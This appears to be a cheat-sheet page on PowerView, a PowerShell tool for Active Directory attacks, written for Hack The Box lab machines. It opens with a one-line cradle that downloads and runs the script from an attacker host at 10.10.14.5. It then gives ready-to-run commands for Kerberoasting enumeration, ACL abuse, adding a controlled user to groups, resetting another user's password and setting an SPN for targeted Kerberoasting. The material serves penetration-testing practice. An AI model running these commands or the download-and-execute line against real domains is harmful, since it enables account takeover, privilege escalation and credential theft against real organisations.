PowerView
PowerView is the PowerShell counterpart of bloodyAD and BloodHound queries. From a Windows shell (Evil-WinRM) it lets you enumerate and exploit ACLs without routing traffic outside, passing credentials with -Credential.
- Platform
- Windows (PowerShell)
- On HTB
- 4 machines
Install
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/PowerView.ps1')- T1087.002 Domain Account
- T1069.002 Domain Groups
- T1098 Account Manipulation
- T1482 Domain Trust Discovery
- T1558.003 Kerberoasting
- Domain LDAP/RPC enumeration
- ACL abuse (BloodHound)
- Kerberoasting
- Domain and forest trusts
PowerView cheat sheet
Your values
Saved in this browser and applied to every cheatsheet.
Enumerate
Users with an SPN (kerberoastable)
Target
Get-DomainUser -SPN | select samaccountname,serviceprincipalname
Interesting ACLs in the domain
Target
Find-InterestingDomainAcl -ResolveGUIDs
Domain trusts
Target
Get-DomainTrustAbusing ACLs
Credential of the user you control
Target
$pass = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('box.htb\usuario', $pass)
Add yourself to a group
Target
Add-DomainGroupMember -Identity 'NOMBRE DEL GRUPO' -Members 'usuario' -Credential $cred
Reset another user's password
Target
Set-DomainUserPassword -Identity victima -AccountPassword (ConvertTo-SecureString 'NuevaClave123!' -AsPlainText -Force) -Credential $cred
Set an SPN to kerberoast it (targeted kerberoasting)
Target
Set-DomainObject -Identity victima -Set @{serviceprincipalname='pwn/pwn'} -Credential $credNo command matches.
HTB machines where PowerView is used
Taken from the chapters of IppSec videos where PowerView shows up. The ▶ link jumps to the minute of that part.